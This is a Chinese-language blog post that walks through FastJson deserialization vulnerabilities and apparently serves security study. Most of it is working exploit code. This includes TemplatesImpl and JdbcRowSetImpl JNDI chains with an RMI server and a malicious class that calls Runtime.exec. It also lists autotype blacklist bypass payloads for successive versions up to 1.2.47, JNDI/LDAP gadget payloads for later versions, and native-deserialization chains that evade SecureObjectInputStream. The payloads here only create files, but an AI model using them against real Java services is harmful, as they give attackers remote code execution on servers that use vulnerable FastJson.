FastJson剖析

FastJson反序列化

参考:https://www.cnblogs.com/nice0e3/p/14601670.html

FastJson用于对JSON格式的数据进行解析和打包。简单的来说就是处理json格式的数据的。例如将json转换成一个类或者是将一个类转换成一段json数据。

复读没意思 举个例子看看fastjson怎么处理json数据的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// User类实例化
User user = new User();
user.setAge(18);
user.setName("xiaoming");

//序列化
String str = JSON.toJSONString(user1);
//结果: {"age":18,"name":"xiaoming"}
String str = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
//结果: {"@type":"fastjson.User","age":18,"name":"xiaoming"}

//反序列化
Object user1 = JSON.parse(str); //解析为Object类型或者JSONArray类型
JSONObject user1 = JSON.parseObject(str); //JSON文本解析成JSONObject类型
User user1 = JSON.parseObject(str, User.class); //JSON文本解析成指定的User.class类

FastJson的漏洞点就在于上面代码所示的@type上 是由autotype没对传入的类做正确验证 使得攻击者可以传入恶意类

在这里我先插句话 对于一个指定类的JSON解析 这个类必须是JavaBean 为什么?

这里姑且将class -> json称为序列化 而json -> class则是反序列化

那么原因在于

序列化的时候 FastJson会调用类成员的get方法 被private修饰且没有get方法的成员不会被序列化

同理 反序列化的时候 会调用类成员的set方法 给public修饰的成员赋值

如若不是JavaBean 显然无法满足上述FastJson解析的条件

TemplatesImpl利用链

适用:FastJson 1.2.22-1.2.24

TemplatesImpl点和CB链一样 在TemplatesImpl::getOutputProperties()

你可能会问 反序列化不是调用setter吗 怎么跑到getter去了 那不是序列化处理的事吗

显然反序列化返回一个类的实例 对于默认有值的属性 也是要getter的 如果这个说服不了你 后面我们分析的时候具体来看

这里先贴上利用的EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import java.util.Base64;

public class run {
public static void main(String[] args) throws Exception {
try {
ClassPool pool = ClassPool.getDefault();
CtClass clas = pool.makeClass("evil");
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
String cmd = "Runtime.getRuntime().exec(\"touch aaa\");";
clas.makeClassInitializer().insertBefore(cmd);
clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));

byte[] evilCode = clas.toBytecode();
String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'a.b',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";

Object obj = JSON.parseObject(text1, Object.class, Feature.SupportNonPublicField);
} catch(Exception e) {
e.printStackTrace();
}
}
}

稍微有一点复杂 我们一步步来 发现了实际上就是一个来回套的过程

gadget chain analyzation

在JSON.parseObject()处下断点 跟踪一下

首先是第一层 通过new DefaultJSONParser返回一个parser 判断第一个字符是什么 这里是{ 返回一个标识LBRACE

之后调用parser.parseObject()

这里是DefaultJSONParser::parseObject()

走到 derializer.deserialze() 这里是JavaObjectDeserializer::deserialze()

上图我打了两个断点 实际上是走到parser.parse() 并没有到parseObject() 是因为我们制定了反序列化的type 从而type != Object.class为false

调用parser.parse()之后发现 我们又回到了DefaultJSONParser

根据之前的标识LBRACE 这里匹配进了parseObject(object, fieldName)

这个parseObject()很长 第一个关键点在最下面两断点的if语句

首先判断key是否等于JSON.DEFAULT_TYPE_KEY 这东西就是@type

然后就会loadClass我们传入的typeName类了

往下 先到ObjectDeserializer desrializer = config.getDeserializer(clazz)

这里面的逻辑是ParseConfig::getDeserializer() -> ParserConfig::createJavaBeanDeserializer -> JavaBeanInfo::build()

直接进到JavaBeanInfo::build()里 这里面的逻辑实际上就是一个个获取类成员的setter和getter方法 然后返回一个JavaBeanInfo对象 方便后面反序列化处理

而在这之中便有我们想要的TemplatesImpl::getOutputProperties()

在这之后我们回到 DefaultJSONParser

进入这个return deserialze() 那么这个deserialze()在哪呢

答案是 JavaBeanDeserializer::deserialze() 直接到下图的断点

可以看到此时key正好是_bytecodes 跟进parseField 最后到了DefaultFieldDeserializer::parseField()

调用setValue给_bytecodes赋值 这里value为什么突然从之前base64传入变成了字节码 我们稍后解释

那我们的getOutputProperties()怎么来呢? 进到这个setValue里

调试之后可以看到getOutputProperties方法会进到上述蓝行的if子句中 通过method.invoke()调用

但是因为CB链的恶意类加载是会报错的 所以直接进入报错流程了 但是最后还是正常通了整条链

base64?

现在我们来谈谈_bytecodes原先传入的base64数据怎么变成正常字节码了

回到之前DefaultFieldDeserializer::parseField()中

进到71行value的赋值语句 到ObjectArrayCodec::deserialze

跟进这个parser.parseArray()

到这个DefaultJSONParser::deserializer.deserialze()这里 继续跟进

又回到了ObjectArrayCodec::deserialze() 这里有对bytes的处理 跟进这个bytesValue()

这下恍然大悟 原来是这里做了base64的decode

end

上面大致分析了下TemplatesImpl的利用链 但实际上这个链子的条件非常苛刻

因为最开始的parseObject()中需要加入Feature.SupportNonPublicField 在真实环境中基本不会用到

JdbcRowSetImpl利用链

适用:fastjson <= 1.2.24 && RMI <= jdk 6u132 7u122 8u113 && LADP <= jdk 6u211 7u201 8u191

直接上EXP看的清晰一点

1
2
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1389/obj\", \"autoCommit\":true}";
JSON.parse(PoC);

首先明确我们解析的类指定是com.sun.rowset.JdbcRowSetImpl 然后再看属性

分别是dataSourceNameautoCommit

根据fastjson解析时会调用setter和getter的性质 我们精确定位到JdbcRowSetImpl::setAutoCommit()

看到当conn为空时 调用this.connect() 继续跟进

可以看到 有这么一段var1.lookup(this.getDataSourceName())

因此我们控制dataSourceName 通过lookup()就有好几条路可走 比如rmi或者ldap都可以

run.java

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;

public class run {
public static void main(String[] args) throws Exception {
try {
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1389/obj\", \"autoCommit\":true}";
JSON.parse(PoC);
} catch(Exception e) {
e.printStackTrace();
}
}
}

RMIServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) {
try {
String url = "http://127.0.0.1:8000/";
Registry registry = LocateRegistry.createRegistry(1389);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("obj", referenceWrapper);
System.out.println("running");
}catch (Exception e){
e.printStackTrace();
}
}
}

test.java

1
2
3
4
5
6
7
8
9
10
11
12
import java.io.IOException;
public class test {
public test() {
}
static {
try {
Runtime.getRuntime().exec("touch aab");
} catch (IOException e) {
e.printStackTrace();
}
}
}

先用python给编译出来的test.class挂载在127.0.0.1:8000 随后启动RMIServer 最后再运行run

各版本FastJson Bypass

缝缝补补又是一年啊

1.2.25 ≤ FastJson ≤ 1.2.41

自1.2.25起 autotype默认为false

AutoType为false时只允许白名单的类 但白名单默认是空的 所以该状态不会反序列化任何类

AutoType为true时是基于内置黑名单来实现安全的

增加了checkAutoType方法 在该方法中进行黑白名单类校验(从字符串开头进行匹配className.startsWith(deny))

"@type": "Lcom.sun.rowset.JdbcRowSetImpl;"
什么特殊检测 + 替换

1
2
3
4
5
6
7
8
9
10
11
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class run {
public static void main(String[] args) {
//需要开启autotype
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"rmi://127.0.0.1:1389/obj\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}

FastJson = 1.2.42

这个版本把黑名单改成Hash值 checkAutoType添加了L;的过滤

然而还是对开头和结尾替换一次 双写就能绕过

"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;"

FastJson = 1.2.43

这下LL双写不行了 但是换个特殊替换又行了

"@type": "[com.sun.rowset.JdbcRowSetImpl"[{

1.2.4 < FastJson < 1.2.46

[也做了限制

想要绕过的话需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列 < 3.5.0的版本

pom.xml

1
2
3
4
5
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.4.6</version>
</dependency>

run.java

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class run {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://127.0.0.1:1389/obj\"}}";
JSON.parse(PoC);
}
}

这个和rmi ldap利用原理类似 这里就不开坑了

1.2.25 ≤ FastJson ≤ 1.2.47 通杀

1.2.46给更多类添加了黑名单 包括JndiDataSourceFactory

给出EXP

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class run {
public static void main(String[] args) {
String PoC = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1389/obj\",\"autoCommit\":true}}";
JSON.parse(PoC);
}
}

用到了java.lang.Class 这个类显然不会被黑名单禁用 设置val属性 后面是正常JdbcRowSetImpl调用

这个java.lang.class类对应的deserializer为MiscCodec

deserialize时会取json串中的val值并load这个val对应的class

如果fastjson cache为true 就会缓存这个val对应的class到全局map中

再次通过checkAutotype检查com.sun.rowset.JdbcRowSetImpl类时

由于之前缓存了该类到map 所以TypeUtils.getClassFromMapping(typeName) == null会一直为false 永远不会抛出异常

接着往下执行从全局map中便获取到了这个class

FastJson < 1.2.66

1.2.48中MiscCodec处理Class类的地方设置了cache为false

基于黑名单绕过 服务端必须有对应类才能使用

1
2
3
4
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://1.1.1.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://1.1.1.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://1.1.1.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap:/1.1.1.1:1389/Calc"}}

FastJson ≤ 1.2.68

留个坑

Tomcat bcel字节码加载

留个坑

FastJson原生反序列化

FastJson <= 1.2.48 原生反序列化通杀

参考:https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E5%89%8D%E8%A8%80

原理是先从找继承了Serializable接口的类入手 最后找到JSONArray和JSONObject

但是这两个类都没有readObject()方法 那就只能通过其他类的readObject()中转触发

明确一点 我们找Serialziable的继承实际上只是为了做一个封装 因为这里是做原生反序列化 并没有使用@autotype

从JSONArray入手 其父类JSON中有一个toString()方法 连续调用了toJSONString()

结论上 这里是会调用this的getter方法的 对于JSONArray则是每一个Object都会调用

有了getter 那不难想到动态类加载的TemplatesImpl::getOutputProperties() 或者 LazyMap::get()

然后前面得连上toString() + readObject()

CC5的BadAttributeValueException::readObject()正好补上了缺口

因此原生序列化的gadget链如下 这里用TemplatesImpl::getOutputProperties()

1
2
3
4
5
6
7
8
9
Gadget chain:
ObjectInputStream::readObject() ->
BadAttributeValueExpException::readObject() ->
JSONArray::toString() ->
TemplatesImpl::getOutputProperties() ->
TemplatesImpl::newTransformer() ->
TemplatesImpl::getTransletInstance() ->
TemplatesImpl::defineTransletClasses() ->
TransletClassLoader::defineClass()

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;

public class run {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"touch aac\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "jed");
setFieldValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valField = val.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(val, jsonArray);
// serialize(val);
unserialize("fastjson.bin");
}

public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
Field classField = clazz.getDeclaredField(fieldName);
classField.setAccessible(true);
classField.set(obj, fieldValue);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("fastjson.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}

FastJson 全版本 原生反序列化通杀

fastjson 1.2.83 deprecated

fastjson在1.2.49后JSONArray和JSONObject类拥有了自己的readObject()方法

在readObject中对于恶意类做了拦截 然而 却是在SecureObjectInputStream类中重写了resolveClass

那我们只需要通过父类ObjectInputStream 让其不调用resolveClass 自然就进不到他的过滤中了

直接看下来 实际上只要保证恶意类成为REFERENCE类型就行了

How to make it?

答案是往List Set Map中添加相同对象就会写入一个引用

这里以ArrayList为例 观察writeObject()方法

进到s.writeObject()

再进到writeObject0()


这里最重要的是writeHandle() 可以看判断语句对obj做了lookup()的查询

这里便是对重复Object作REFERENCE的写入

因此 我们只需要套一层ArrayList便能通过resolveClass的check了

当然 这里不是指传两个一样的templates或者BadAttributeValueExpException实例

而是在writeObject()解析的时候只要有两个相同的Object 便会自动write一个引用

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;

public class run {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"touch aad\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "jed");
setFieldValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);


BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valField = val.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(val, jsonArray);

arrayList.add(val);

// serialize(arrayList);
unserialize("fastjson.bin");
}

public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
Field classField = clazz.getDeclaredField(fieldName);
classField.setAccessible(true);
classField.set(obj, fieldValue);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("fastjson.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}

FastJson剖析
http://example.com/2025/04/15/FastJson剖析/
作者
Jednersaous
发布于
2025年4月15日
许可协议